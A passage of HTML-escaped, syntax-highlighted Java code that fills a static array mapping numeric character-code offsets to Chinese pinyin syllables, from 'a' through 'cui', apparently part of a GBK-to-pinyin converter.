&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class="keyword"&gt;private&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="keyword"&gt;static&lt;/span&gt;&lt;span&gt;&amp;nbsp;String[]&amp;nbsp;alphaArray&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="keyword"&gt;new&lt;/span&gt;&lt;span&gt;&amp;nbsp;String[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20320&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class="keyword"&gt;static&lt;/span&gt;&lt;span&gt;&amp;nbsp;{ &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20319&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"a"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20317&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ai"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20304&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"an"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20295&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20292&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20283&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ba"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20265&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"bai"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20257&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ban"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20242&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"bang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20230&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"bao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20051&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"bei"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20036&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ben"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20032&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"beng"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20026&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"bi"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20002&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"bian"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19990&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"biao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19986&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"bie"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19982&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"bin"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19976&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"bing"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19805&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"bo"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19784&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"bu"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19775&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ca"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19774&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"cai"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19763&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"can"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19756&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"cang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19751&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"cao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19746&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ce"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19741&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ceng"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19739&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"cha"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19728&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"chai"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19725&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"chan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19715&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"chang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19540&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"chao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19531&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"che"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19525&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"chen"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19515&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"cheng"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19500&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"chi"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19484&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"chong"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19479&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"chou"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19467&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"chu"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19289&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"chuai"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19288&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"chuan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19281&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"chuang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19275&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"chui"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19270&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"chun"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19263&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"chuo"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19261&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ci"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19249&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"cong"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19243&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"cou"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19242&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"cu"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19238&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"cuan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19235&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"cui"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
